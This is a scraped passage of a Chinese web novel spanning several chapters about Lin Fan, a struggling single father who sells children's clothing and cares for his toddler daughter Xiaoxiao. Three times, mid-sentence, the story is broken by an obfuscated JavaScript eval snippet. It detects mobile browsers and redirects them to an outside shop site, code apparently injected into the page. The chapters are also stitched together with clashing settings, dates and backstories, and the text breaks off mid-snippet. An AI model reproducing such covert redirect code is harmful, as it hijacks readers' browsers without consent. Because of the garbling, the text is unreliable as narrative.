“你别高兴太早,”林凡指着屏幕上的柱状图,声音沉了些,“这半个月因为骚扰,咱们的销售额比上个月少了15%—— 上个月卖了8万,这个月才6.8万,光连衣裙就积压了40多件,本来夏天是连衣裙的旺季,现在都挂在货架上没人问。 而且刀螂心里肯定还记恨,钱老西也没放弃想抢咱们的乡镇集市渠道——上周我去河湾镇赶集,听说他跟集市管理员打听咱们的摊位呢。” 他想起前阵子听商户协会的人说,城西有家叫“童乐坊”的童装店,就是因为被竞争对手长期骚扰,没及时找官方帮忙,最后客源流失,不到半年就关门了—— 他现在能稳住,靠的是官方的威慑,不是自己真的有能压住对方的实力。 危机暂时解除,林凡把全部精力重新投入到店铺的经营和“笑笑”品牌的发展上。 之前开拓的乡镇集市渠道,如今走得越来越顺: 每个月去周边三个乡镇赶大集—— 红星镇逢每月初二、初七,柳溪镇逢初五、初十,河湾镇逢每月十五、二十,每次都要凌晨五点起床,开着那辆二手面包车装货,带去的纯棉童装; 防滑学步鞋总能卖空,上个月的集市销售额甚至突破了2万元,比开店初期的1万元翻了一倍。 他还特意做了顾客调研,找了30多位乡镇家长聊天,发现他们更在意童装的耐穿性和性价比—— 比如孩子爱爬爱跑,裤子膝盖处容易磨破,于是跟“蓝天童装厂”的王经理定制了一批12盎司加厚耐磨的牛仔裤,裤脚缝了三道加固线,腰头还加了松紧带; 刚到货就订出去了三十多条,其中有位张阿姨一次性订了5条,说“给我家三个孙子一人两条,耐磨的能穿到冬天”。 最近,他又开始琢磨市区的代销点—— 上周六他特意关了半天店,去市区考察了两个商圈:老城区的钟楼商圈工作日每天人流量约3000人,周末能到5000人; 周边还有一所实验小学,但是临街15平米的店铺租金每月要8000元,还得押三付一,超出了他每月6000元的租金预算; 新开发的滨河商圈租金只要4500元,同样15平米的店铺,押二付一即可,虽然现在每天人流量只有800人,但周边有三个新建小区—— 滨河壹号、水岸家园、幸福里,共2100多户,开发商说下个月开始交房,入住的大多是30岁左右的年轻夫妻,商户协会的人统计过,这类家庭有小孩的比例能到60%; 而且小区门口还规划了一个幼儿园,未来潜力大。他把两个商圈的人流早中晚数据、租金付款方式、周边配套(钟楼有小学但停车难,滨河有停车场但餐饮少)都记在蓝色封皮的笔记本上,晚上关店后反复对比,还画了个简单的收支预估表。 一天晚上,送走最后一位顾客—— 一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607513|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给女儿买公主裙的年轻妈妈后,林凡拉下了店铺的卷帘门,“哗啦”的声响在安静的街道上格外清晰。 店里只开着角落的小灯,暖黄的光落在满地的童装包装袋上,还映出货架上挂着的小裙子的影子。 笑笑穿着粉色的学步鞋,鞋面上有个小兔子贴布,晃悠悠地从休息区走过来,小手攥着林凡的裤腿,还时不时抬起头看他。 林凡弯腰把女儿抱起来,在她软乎乎的脸蛋上亲了口,胡子茬蹭得笑笑咯咯笑: “笑笑今天乖不乖?有没有听阿姨的话?” 笑笑眨巴着大眼睛,小手拍了拍林凡的肩膀,突然伸手指向货架最上层—— 那里挂着件米白色T恤,领口绣着一朵金灿灿的向日葵,针脚细密,金线还闪着光。 这件T恤是林凡上个月特意找手工师傅定制的,因为上次带笑笑去城南湿地公园,那天是个晴天,太阳把成片的向日葵晒得金灿灿的,最大的那朵比笑笑的脸还大; 笑笑踮着脚,小手伸得老高想去够花瓣,够不着还急得“哼唧”,林凡当时蹲下来抱着她,说“笑笑喜欢,爸爸以后给你做件有向日葵的衣服好不好”。 “爸爸……笑笑……衣衣……”笑笑的声音含糊不清,却把每个字都咬得很认真,还伸手去够那件T恤。 林凡的心瞬间被暖意填满,像喝了杯热红糖水。这半个月的疲惫——跟“蓝天童装厂”的王经理砍价到嗓子冒烟,原本每件牛仔裤报价45元,他磨了三天; 说“我每个月订200件,你给我40元,我还能帮你推荐给其他乡镇商户”,才把价格谈下来,还争取到了免费在裤脚印“笑笑宝贝屋”的小logo; 半夜起来处理店铺玻璃被砸的事,冷风冻得他打哆嗦,只能裹着外套蹲在门口等师傅;跟工商的刘科长沟通时,小心翼翼地问 “以后要是再有人来骚扰,能不能麻烦你们多来看看”,生怕说错话让对方反感——在听到女儿声音的那一刻,全散了。 他把笑笑举到货架前,让她胖乎乎的小手摸了摸向日葵的绣线: “对,这是笑笑的衣衣,上面有笑笑喜欢的小花,等笑笑再长高一点就能穿啦。” 笑笑咯咯地笑,小手攥着T恤下摆不肯放。林凡抱着女儿走到窗边,掀开窗帘一角,看着外面的万家灯火: 隔壁的“张记小吃店”还亮着灯,有两位顾客坐在门口的小桌旁吃面条,热气腾腾的白雾往上飘; 远处的路灯连成一条光带,把街道照得暖暖的,偶尔有晚归的行人骑着电动车经过,车铃叮铃响。 破局的利刃已经挥出,暂时斩断了眼前的荆棘。 但林凡知道,前路依然漫长—— 他得尽快把市区代销点定下来,这样每月的销售额能再涨20%,就能多雇一个店员;得跟“蓝天童装厂”签长期供货合同,把进货成本再压低5%,这样乡镇集市的利润能更高; 还得加入商户协会,之前协会组织过法律讲座,请了律师讲“经营者如何应对恶意骚扰”,还帮商户集体跟物流公司谈了优惠,原本发乡镇的快递每件8元; 现在协会统一发只要6元,万一再遇到骚扰,协会还能帮着一起跟官方沟通,比自己单打独斗强。 他看着怀里已经开始打哈欠的笑笑,小脑袋一点一点的,手指轻轻摸着她柔软的头发:“爸爸会努力,让更多小朋友都能穿上笑笑的衣衣,让咱们再也不用怕别人找麻烦。” 窗外的风偶尔吹过,带着街边桂花树的甜香—— 那棵树是去年种的,今年第一次开花。林凡的目光落在远处的霓虹上,坚定而深远。 他知道,自己不能有丝毫停歇——说不定下周去市区谈代销点时,滨河商圈的开发商会推出优惠政策;也说不定刀螂会找新的人来捣乱。 但只要他跑得足够快,积累足够多的资本和实力, 总有一天,他不用再等着别人“撑腰”,自己就能成为保护店铺、保护笑笑的“规则”。 新的挑战和机遇,或许就在下一个转角—— 比如明天去河湾镇赶集时,能遇到一位想合作的乡镇超市老板; 又或者,笑笑会学会说更多的话,能跟他一起“讨论”新衣服的款式。 第四十八章:阁楼里的苹果与重启键 1992年的春风刚吹醒南方小城,潮湿的风裹着路边迎春花的淡香,掠过青石板路上的水洼; 市场经济的嫩芽还在试探着破土,街角国营理发店的转灯慢悠悠转着,墙根下下棋的老人还在议论“个体户算不算投机倒把”。 当时全市个体工商户不足两千家,百货大楼仍是市民消费的“圣地”: 正门挂着“春季展销”的红绸横幅,自行车在门口排成长龙,车铃“叮铃”声混着柜台里的吆喝,日客流量能突破五万人次。 而传呼机作为“稀罕物”,只有商场经理级别的人才配挂在腰间,黑色机身别在的确良衬衫上,数字屏幕偶尔亮起时,总能引来路过顾客的侧目。 就在这样的年月里,林凡攥着东拼西凑的三万块钱; 纸币被他反复叠在贴身的内袋里,边缘磨得发毛,还带着体温—— 在百货大楼办公室签童装区临时专柜协议时,指节因为用力而泛白,手心的汗把协议纸张洇出浅浅的印子。 百货大楼的消毒水味混着一楼化妆品柜台的脂粉香飘进来,他盯着协议上“临时”两个字,喉结滚了滚: 对他这个刚失去妻子、独自带着两岁女儿的男人来说,这不是一份生意,是能让女儿笑笑“不用再穿洗得发蓝的旧衣服”的救命稻草,是他攥在手里、怕一松就碎的希望。 接下来的七天,城郊那间租来的阁楼成了林凡的战场。 不足十平米的空间里,斜顶最低处仅一米五,他得佝偻着背,肩膀几乎要碰到头顶的木梁,趴在刷着斑驳红漆的老旧木桌上。 桌上摊着供应商名录(纸页边缘被虫蛀出小窟窿)、货品清单(用铅笔写了又改,涂改液堆出小疙瘩)和一把包浆厚重的红木算盘,唯一的15瓦灯泡悬在头顶; 昏黄的光像蒙了层雾,只能照亮桌面巴掌大的地方。他不得不把脸凑得极近,鼻尖几乎碰到单据,哈出的气在纸面上晕开白雾,又很快散去,才能看清上面的数字。 首批选的五个童装品牌,有三个是他坐了两小时绿皮火车跑下来的。 火车车厢里飘着煤烟味,硬塑料座位上沾着饼干渣,他挤在过道里,怀里揣着用塑料袋裹好的名录,怕被人挤破。 郊区的国营服装厂藏在一片油菜花田里,铁皮厂房的大门锈迹斑斑,厂长办公室摆着掉漆的铁皮文件柜,桌上搪瓷缸子泡着泛白的茉莉花茶。 厂长起初嫌他拿货量少(每个品牌仅四五十件,总计二百三十件,装不满半个纸箱),指尖敲着桌面说“不够油钱”,不愿降价。 林凡软磨硬泡到天黑,窗外的夕阳把两人的影子拉得老长,他盯着厂长办公桌上女儿的照片(扎着羊角辫,跟笑笑差不多年纪),咬咬牙说 “我帮您清二十件过季外套,只求八折”——那批外套领口都发皱了,他知道得花心思卖,可一想到笑笑穿上新衣服的样子,又觉得值了。 主推的“小熊系列”卫裤,他在商场童装区蹲了一下午: 蹲得腿发麻,就靠着柜台边揉一揉,反复比对其他品牌的标签——同类纯棉卫裤普遍定价140元,标签上的金线都快磨掉了。 他攥着算盘蹲在墙角算:租金每天二十三块,运费每件八**,再留两成预期利润,最终把价格定在98元—— 正好是竞品七折的价位,铅笔在单据上圈出这个数字时,他指腹蹭过纸面,忽然想起笑笑上次路过商场,盯着橱窗里的小熊卫裤看了好久,小手指着玻璃说“熊熊”。 就连柜台陈列,他都在阁楼的废报纸上画了三版草图:铅笔头磨得尖尖的,画坏了就团成团扔在纸篓里,纸篓都快满了。 最终定的方案是把“小熊卫裤”摆在1.2米高的黄金层——他特意找了个空纸箱量,用尺子比着在纸箱上画横线; 后来才知道,这个高度正好是带孩子的家长弯腰就能摸到的位置,指尖能蹭到卫裤上软乎乎的绒毛。 过季外套则放在下层,用红卡纸写“买新款送袜子”的标牌,卡纸边缘用剪刀剪得歪歪扭扭,他还在“送”字旁边画了个小袜子图案。 夜里阁楼漏风,风从窗缝里钻进来,“呜呜”地响。 他裹着妻子留下的旧棉袄——棉袄里子是碎花布,洗得发脆,袖口磨破了边,还带着淡淡的樟脑丸味——坐在小马扎上算账。 算盘珠碰撞的“噼啪”声在空荡的阁楼里格外响,常常要到凌晨,窗外的月光透过蒙着灰的小窗户照进来,在地上投出歪歪扭扭的窗格影子,他才揉着发酸的肩膀站起来。 这种被目标推着往前冲的亢奋,在一个飘着细雨的四月傍晚,被女儿笑笑一句怯生生的问话敲得粉碎。 那天林凡刚从商场回来,怀里抱着一大摞印着“俏童坊”的纸箱——油墨有点蹭掉了,纸箱边角被磨得发白,有的地方还沾着雨水,冰凉地贴在他胸口。 这是最后一批货,他得连夜清点贴标签,明天一早就要上架。阁楼里早已堆得满满当当的纸箱,几乎占了一半空间,留出的过道只够一个人侧身走。 他跪在冰凉的水泥地上,膝盖下垫着块打了补丁的旧棉布,布料上还沾着去年冬天的棉絮。额角的汗水顺着脸颊往下淌,滴在手写的货品单据上,晕开一片深蓝色的墨迹,他用手背去擦,结果把脸也蹭得花一块白一块 。 两岁七个月的笑笑,就是在这时出现在楼梯口的。 那架木制楼梯年久失修,台阶裂缝里嵌着黑黢黢的灰尘,最上面两级还缺了角,露出里面的木头茬。 笑笑穿着那件洗得发白的棉布罩衫—— 领口都快磨出毛边了,袖口开着线,是她前几天玩积木时勾到钉子扯破的,她自己试着用红线缝,结果缝成了歪歪扭扭的疙瘩,线头还松松垮垮地挂在上面—— 小手紧紧抓着栏杆,栏杆上的漆都掉光了,露出粗糙的木头。她像只刚学会走路的小熊,颤巍巍地一步一步往上爬,膝盖蹭在台阶上; 沾了点灰也不在意,小脚丫踩在台阶上,发出“哒哒”的轻响,每爬一步都要顿一下,生怕摔下去。 她右手攥着半个苹果,果皮皱巴巴的,像晒干的橘子皮,果肉已经氧化成了褐色,边缘被啃得参差不齐—— 那不是林凡早上塞给她的(早上他急着去见供应商,只往她手里塞了个凉馒头,馒头表皮都硬了),是隔壁张阿姨看她蹲在单元门口眼巴巴等爸爸,从自家果盘里拿给她的。 笑笑舍不得吃,把苹果揣在罩衫的小兜里,兜是缝补过的,苹果在里面硌出一个小小的鼓包,她走路时还时不时摸一下,怕苹果掉了。 她爬到阁楼门口,没敢进去,就安静地站在齐腰高的纸箱旁,仰着小脸看爸爸。纸箱上印的“小熊”图案正好对着她,她伸手碰了碰,又赶紧缩回来,像是怕碰坏了。 当时墙上的挂钟正好指向18点30分——挂钟是塑料外壳的,指针有点歪,秒针“滴答”地走,这是《大风车》开播的时间。 往常这个点,林凡会提前把小板凳摆在楼下客厅的电视机前,用布擦得干干净净,再给她剥好一碟瓜子,瓜子仁都放在白色的搪瓷碟里,然后喊 “笑笑快来,董浩叔叔要出来啦”。可今天,楼下的小板凳空着,电视机蒙着一层薄灰,爸爸也没像往常一样在楼梯口喊她“笑笑来抱”。 她就这么看了三分钟,看着爸爸的头埋在单据里,后背弓着,像个问号,手指飞快地拨着算盘,连抬头的间隙都没有。 阁楼里只有算盘声和窗外的雨声,她的小手抠着纸箱的边缘,指甲都有点发白了。 最后,她把苹果往身后藏了藏,手背贴在屁股上,用小到几乎要被雨声淹没的声音呢喃: “爸爸……忙?不理……笑笑?”声音软软的,尾音还带着点颤,像被雨打湿的小羽毛。 算盘珠的碰撞声骤然停了。 林凡像被针扎了一下,猛地低头,正好撞进女儿清澈的杏眼里。 那双总是弯成月牙、盛满笑意的眼睛,此刻蒙着一层水光,像含着两颗小小的露珠,长长的睫毛上还沾着爬楼梯时蹭到的灰,细细的,像撒了点胡椒粉。 她的鼻尖因为紧张而微微泛红,还带着点室外的凉气,嘴唇抿成一条小小的直线,像是快要哭了。 心脏像是被浸了醋的棉绳狠狠勒住,疼得他喘不过气—— 他突然想起今早出门前,笑笑拽着他的衣角,举着一把粉色的塑料梳子,梳齿断了两根,她小手抓得紧紧的,小声说“爸爸梳辫辫”。 他当时正对着镜子整理衬衫,衬衫领口有点皱,他扯了扯,随口一句“找隔壁张阿姨帮忙”,就急匆匆地走了; 没看见笑笑把梳子紧紧抱在怀里,瘪着嘴站在门口,眼泪在眼眶里转了两圈,又硬生生憋了回去。 他想起昨夜凌晨两点,他对账时听见走廊里有“哒哒”的脚步声,轻得像小猫走路,还以为是风吹动门帘。 直到今早张阿姨在楼下拦住他,手里拿着笑笑的湿裤子,语气有点心疼地说 “孩子半夜尿床,光着脚丫站在走廊里哭,怕吵醒你不敢喊,我听见哭声才起来给她换的衣服”—— 他这才想起,昨夜似乎隐约听见了小声的啜泣,可当时满脑子都是专柜的货,竟没放在心上。 他更想起三个月前,妻子留下那张写在笔记本撕下来的纸上的字条,字迹潦草: “我受够了这种日子”。 她决绝地走出家门时,门“砰”地一声关上,他跪在摇篮前,抱着刚睡醒的笑笑,笑笑还在揉着眼睛咿呀叫“妈妈”; 他指天发誓要“给她双倍的爱,让她比别的孩子都强”——可现在,他连陪她看《大风车》的时间都没有。 “对不起,宝贝。” 林凡猛地推开算盘,算盘珠“哗啦啦”散了一地,有的滚到纸箱底下,有的撞在墙上弹回来,发出清脆的响。 他单膝跪地时,膝盖重重磕在水泥地上,发出“咚”的一声闷响,可他半点也没觉得疼; 他伸手去抱笑笑,先用袖口擦了擦她脸上的灰,袖口的粗布擦得她脸颊有点痒,又小心翼翼地把她手里攥得温热的苹果接过来,然后将她紧紧拥在怀里。 笑笑的小身子软软的,贴在他胸口,能闻到她头发上淡淡的肥皂味,是张阿姨给她洗头用的蜂花牌香皂。 阁楼西侧的搪瓷盆还在漏雨,“滴答、滴答”的声音落在盆里,溅起小小的水花,混着他沙哑的哽咽: “爸爸不好……这周爸爸跑了三个供应商的工厂,工厂里的机器声吵得耳朵疼;谈了四场合作,口干舌燥得喝了两壶白开水; 还跟商场经理磨了两天租金,好话说了一箩筐……却忘了给我的笑笑梳辫子,忘了陪你看《大风车》,让我的笑笑成了没人管的小草……” 他的声音越来越低,脸埋在笑笑的头发里,肩膀控制不住地发抖。 笑笑被爸爸熟悉的烟草味包围,小脸蛋在他肩头蹭了蹭,把憋了半天的委屈蹭掉了些。 她感受到爸爸的肩膀在颤抖,忽然伸出小手,从爸爸手里拿过那半块氧化的苹果—— 苹果上还带着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607514|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的体温,有点湿乎乎的——踮起脚尖,脚跟离地,身子晃了晃,把苹果瓣坚定地塞进林凡嘴里:“爸爸吃,甜。” 苹果的汁水在齿间迸溅开来,带着点氧化后的微涩,可林凡却觉得比他谈成合作时在路边摊买的橘子汽水还甜—— 那汽水是玻璃瓶的,吸管有点弯,当时他觉得是世上最好喝的东西。他嘴里含着苹果,眼前突然闪过百货大楼经理拍着他的肩膀说的话: “你这专柜要是能卖爆,我给你提两个点的提成,年底还能转成常驻柜。” 那些数字—— 每个月能多赚两千块,能给笑笑买橱窗里那件120元的公主裙(裙摆上有蕾丝花边,笑笑上次看了好久),能把阁楼的漏雨处修好,不用再摆搪瓷盆接水—— 曾让他血脉偾张,觉得所有的辛苦都值了。 可此刻,女儿指尖残留的、带着奶香的温度(早上张阿姨给她冲了半袋奶粉,是最便宜的袋装奶粉),比任何提成、任何公主裙都更有冲击力。 他突然明白,自从妻子离开后,他像疯魔一样扑向事业,不过是想证明“单身父亲也能给孩子优渥的生活”,却忘了上个月带笑笑去公园时; 她指着别的小朋友被爸爸抱在怀里荡秋千的样子,眼睛里满是羡慕,小声说“笑笑也想”; 忘了她上周收到张阿姨送的小皮球,第一个反应就是举到他面前,嘴角翘着,盼着他说一句“笑笑真乖”—— 可当时他正在算账单,只随口“嗯”了一声,没看见她脸上的笑容慢慢落了下去。 原来孩子最需要的,从来不是橱窗里的新裙子,而是黄昏时分,专属于她的那个怀抱,是有人陪她看《大风车》,是有人给她梳歪歪扭扭的辫子。 阁楼里的雨声还在继续,怀里的孩子暖暖的,手里的苹果还带着她的口水。林凡忽然觉得,这漏雨的阁楼、这半块苹果,像一枚重启键,狠狠震醒了他。 他想起妻子离开前最后一次跟他吵架,她坐在沙发上哭,眼睛红得像兔子,声音发抖:“林凡,你永远不知道孩子要什么! 你总觉得给她买东西就是爱,可她半夜发烧,你在谈生意;她想让你陪她玩积木,你在算账!” 当时他还皱着眉反驳“我不是为了这个家吗”,觉得妻子不理解他的压力,可现在,他竟真的在重复同样的错误。 原来“重生”的意义,从来不是赚更多的钱、开更大的专柜,而是让怀里的这个小人儿,不再经历被忽视的童年—— 哪怕为此要少接两个品牌,少赚三成利润;哪怕专柜的扩张计划要往后推,从“三个月”改成“半年”;哪怕别人说他“不会做生意”,也值了。 那天夜里,林凡把散落的算盘珠一个个捡起来,有的滚到床底下,他就趴在地上用手掏,指尖沾了灰也不在意。 他撕毁了那张写满“通宵对账”“拜访新供应商”的计划表,纸被撕得很碎,扔进纸篓时,他觉得心里也松快了些。 他从抽屉里翻出女儿的幼儿园日历,日历纸有点黄,上面还有笑笑用蜡笔画的小太阳。 他用红笔在每个周三下午和周六全天都圈了圈—— 周三是少年宫的绘画课,周六有手工课,他之前听张阿姨说过,笑笑每次路过少年宫,都会趴在铁门上,盯着里面的小朋友画画,眼睛都看直了。 他还在日历旁边写了一行小字:“给笑笑做红烧肉(少放糖),陪她看《大风车》”,字迹写得很工整,怕自己忘了。 窗外的雨渐渐停了,月光透过阁楼的小窗户照进来,落在笑笑熟睡的脸上,她的睫毛很长,影子投在脸颊上,像两把小小的扇子。 林凡坐在床边,握着女儿温热的小手,她的小手攥着他的手指,轻轻的,暖暖的。他忽然觉得, 那些曾经让他觉得无比重要的商业蓝图,那些密密麻麻的数字,终将汇入这双小手的温度里—— 因为所有的努力,本就该是为了守护这份温度。 后来,林凡真的减少了两个品牌的合作,跟供应商打电话时,他语气很诚恳:“实在抱歉,我得多陪陪孩子。” 对方起初不解,后来听他说了笑笑的事,反倒说“你这爹当得称职”。他把专柜的打理时间调整到每天下午五点前结束,百货大楼关门的铃声响起时,他总会第一个收拾好东西,背上包就往幼儿园跑。 每天傍晚,幼儿园门口的老槐树下,总能看见他的身影: 手里要么拿着一根裹着糖霜的糖葫芦,糖霜还粘着手;要么揣着一块水果味的奶糖,装在小小的铁盒里。 笑笑看见他,就会蹦蹦跳跳地跑过来,扑进他怀里,喊“爸爸”,声音甜得像蜜。幼儿园老师拉着他的手说: “笑笑变化可大了,以前不爱说话,现在会主动跟小朋友分享玩具,还会给大家唱《大风车》的歌,成了‘小开心果’。” 而他的专柜生意,也没因为减少品牌而下滑——因为他总能准确地选出小朋友喜欢的款式:知道男孩喜欢汽车图案,女孩喜欢小碎花; 知道家长在意布料是否柔软,会不会磨孩子的皮肤。有家长说:“这个老板懂孩子,买他的衣服放心。” 有时候,林凡会看着专柜里挂得整整齐齐的“小熊卫裤”,想起那个漏雨的阁楼和半块苹果,心里就会暖暖的,像揣了个小太阳。 他终于明白,真正的成功,从来不是赚了多少钱,开了多大的店,而是孩子在你怀里时,眼睛里有光—— 那光是信任,是依赖,是满满的爱,比任何奖杯都珍贵。 第四十九章:女儿的成长尺 林凡的家在城东老纺织厂宿舍三楼,那是上世纪九十年代的红砖楼,楼道墙皮斑驳得露出内里的水泥,每层转角的共用电表箱贴满泛黄的缴费通知单; 楼梯扶手被几十年的手掌磨得发亮。70平米的屋里,家具大多是父母留下的老物件:客厅的樟木箱衣柜是1988年父母结婚时的嫁妆,深棕色漆皮在柜门边掉出月牙形的缺口; 关柜时总得用手推着门沿才能扣紧;米黄色的木沙发是父亲生前常坐的,右侧扶手裂了道三厘米的缝,林凡用米白色医用胶布缠了三圈,胶布边缘已经起了毛边。 屋里唯一鲜亮的色彩,是客厅西墙贴满的涂鸦——2岁7个月的笑笑还握不稳蜡笔,画的“爸爸”是三个连在一起的歪扭圆圈; 圆圈下面拖着两条斜线当腿,却被林凡用透明胶带沿着涂鸦边缘仔细裱了起来,连胶带的接口都特意贴在墙缝里,怕蹭到孩子的画。 作为从女儿出生起就独自抚养的单身父亲,林凡的日子像被两根绳子拽着:一头是和发小王猛合伙开的社区童装小店,每月租金1800元,得靠卖二三十件衣服才能挣回来; 另一头是刚能说“爸爸抱”“要喝奶奶”的笑笑,孩子每天要换4片纸尿裤,一罐普通的婴幼儿奶粉就要150元。 他的钱包里总装着一张泛黄的便签,上面记着“纸尿裤:58元/包”“托儿所:800元/月”“奶粉:150元/罐”, 连买包纸尿裤都要在心里算半天——要是今天能卖两件外套,就能多买一包纸尿裤,不用等到周末再去批发市场买临期的。 每天清晨5点半,林凡的手机闹钟准时响起,铃声是笑笑刚会发“ba”音时的录音。他轻手轻脚地起床,怕吵醒身边还含着硅胶奶嘴的女儿—— 笑笑睡觉浅,稍有动静就会皱着眉哼唧。狭小的厨房里,铝制奶锅缺了个月牙形的口,那是上个月煮糊米粥时磕在煤气灶上弄的,他往锅里倒了小半碗米粉,又从冰箱里拿出几片青菜叶切碎—— 青菜是前一天傍晚菜市场收摊时,卖菜的刘叔送的,说“给孩子煮着吃,新鲜”。这是笑笑的早餐,而林凡自己,往往是啃昨天剩下的凉馒头—— 大多是豆沙馅的,放凉了皮有点硬,他会就着热水嚼,怕咽着。 6点40分,林凡把笑笑裹进洗得发白的粉色棉袄——这是去年冬天王猛家亲戚送的,今年穿已经有点短,露出一小节手腕,他特意在棉袄袖口缝了圈灰色的绒布边。 他背上装童装样品的旧帆布包,包带断过一次,用尼龙绳缝了两针,里面装着5件小外套样品;左手拎着女儿的蓝色小水壶,壶盖的吸管有点漏,他总在壶底垫张纸巾; 右手牵着笑笑肉乎乎的小手,往小区门口的“阳光托儿所”走。 托儿所是社区办的,每月800元的费用,比附近私立托儿所便宜400多,还是王猛托社区居委会的熟人找的—— 王猛总说:“你先顾着孩子,店里的货我多盯点,我没结婚没牵挂,多守会儿店没事。” 帆布包的最底层,藏着他前几天去菜市场捡的3个废纸箱,都是装苹果的,他特意拆开压平,叠得整整齐齐,打算攒够10个就卖给废品站,能换8块钱,够买两包婴儿湿巾。 根据《2024中国低收入家庭亲子陪伴现状报告》(中国社会科学院社会学研究所发布),月收入低于8000元的单身父母,日均亲子陪伴时间虽有2.1小时,但近75%需在陪伴时处理缝补衣物、整理货物等生计事务。 而林凡却尽量把陪伴变得“纯粹”:每天下午4点,他会提前半小时关店——关门前会把当天的货物按尺码摆好,给每件衣服贴好价格标签,方便第二天王猛看店; 然后快步去托儿所接笑笑。2岁多的孩子正是黏人的时候,一看到林凡就会张开胳膊扑过来,嘴里喊着“爸爸抱”,小脑袋在他颈窝里蹭来蹭去,把他的衣领蹭得全是奶香味。 接完孩子,他会把笑笑放在店门口的蓝色小推车里——推车是邻居张婶送的,轮子有点歪,推的时候会发出“吱呀”声,他推着车去隔壁水果店,跟老板讨点削下来的苹果皮: “李哥,有苹果皮吗?孩子喜欢嚼着玩。”苹果皮干净又不花钱,笑笑能坐在推车里嚼半天,偶尔还会举着一小块苹果皮递到他嘴边:“爸爸,吃。” 店里的货箱堆得快到天花板,大多是装童装的纸箱,林凡却特意在角落腾出一平方米的地方,铺了块灰色旧地毯—— 是他从旧货市场花10块钱买的,边缘有点脱线;地毯上放着笑笑的布偶熊和塑料积木,布偶熊的一只眼睛掉了,他用黑色纽扣缝了上去,积木少了两块,是笑笑上次玩的时候弄丢的。 有次王猛帮他看店,让他带笑笑去打流感疫苗。他兜里揣着皱巴巴的100块钱,全是5块、10块的零钱,是攒了3天的营业收入,在医院走廊里反复看价目表—— 疫苗费148元,差48块。他在走廊里徘徊了5分钟,才给王猛发消息:“能不能先借我50,疫苗钱差一点,下周还你。”王猛后来跟居委会的人说: “林凡从来没跟我提过家里难,但我上周去他店里,看到他给笑笑冲奶粉,总挑最便宜的袋装,10块钱一小袋,够喝两天; 他自己中午就啃个干面包,连瓶矿泉水都舍不得买,渴了就喝店里的自来水。” 遇到需要去市区谈童装供货的业务,林凡更是提前几天就焦虑: 他要先跟住在对门的张婶说好,让她帮忙照看笑笑到晚上8点——张婶是退休的幼儿园老师,家里孙子和笑笑同岁,两个孩子能一起玩,张婶还会给笑笑讲故事; 还要把笑笑的奶粉、换洗衣物分装在保鲜袋里,每个袋子上写着“中午穿”“晚上穿”,连冲奶粉的水温都要在便签上写得清清楚楚: “先放30ml凉水,再加热水到40℃,舀2勺奶粉,摇三下,别摇太狠,会有气泡。”有次他谈完业务赶回来,已经晚上7点半,刚到张婶家门口就听到笑笑的哭声。 推开门一看,张婶正抱着哭唧唧的笑笑哄:“笑笑乖,爸爸马上就回来,你看这是爸爸早上给你留的饼干,还有一块呢。” 笑笑看到他,哭声立刻停了,伸着胳膊要他抱。林凡心里一酸,掏出兜里仅有的一颗水果糖——是下午谈业务时对方给的,他没舍得吃,剥了糖纸递给女儿,看着她含着糖笑,眼眶有点红。 林凡的童装样品,也带着“穷人家的用心”。他和王猛每周六早上6点就起床,坐一个小时的公交去城郊的童装厂挑尾货—— 尾货是面料没问题但有轻微瑕疵的衣服,比如领口有点歪、印花少了个角,价格比正常批发价便宜40%,一件外套正常批发50元,尾货只要30元。 每次拿到新样品,他都会先给笑笑试穿:2岁多的孩子说不出“面料硬”“缝线硌”这样的话,只会扯着衣服领口哼唧,或者在地上爬两圈,要是衣服磨皮肤,就会哭闹着要脱。 有次他们拿了批蓝色的连体衣,笑笑穿了没十分钟就开始哭,小手一直抓着袖口。林凡赶紧把衣服脱下来,翻到里面看,才发现袖口的缝线没处理好,有个小线头翘着,磨得孩子皮肤发红。 他连夜坐在客厅的小桌子前,用小剪刀把缝线一点一点挑松,又用之前修家具剩下的细砂纸轻轻磨袖口边缘,磨了二十多分钟,直到用手摸起来光滑了才停。第二天再给笑笑穿,孩子果然不闹了,还穿着连体衣在地上爬来爬去,嘴里喊着“爬爬”。 后来这批连体衣在店里卖得特别好,住在隔壁楼的李姐买了一件,过了两天又带了三个邻居来,说: “这衣服摸着比我给孩子买的名牌还软,我家孩子穿着爬来爬去也不闹,比那些一百多的还舒服。” 当首笔3200元的订单利润到账时,林凡攥着银行卡在小区门口的银行ATM机前站了好久——晚上8点多,ATM机房里只有他一个人,灯光有点冷。 他输密码的时候手都有点抖,查了三遍余额才确认:3200元。这钱够给笑笑买两箱奶粉(一箱6罐,150元/罐,两箱1800元),还能交下个月的托儿所费用(800元),剩下的600元能留着当生活费。 但他还是咬牙拿出50块钱,在小区门口的超市给笑笑买了个洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 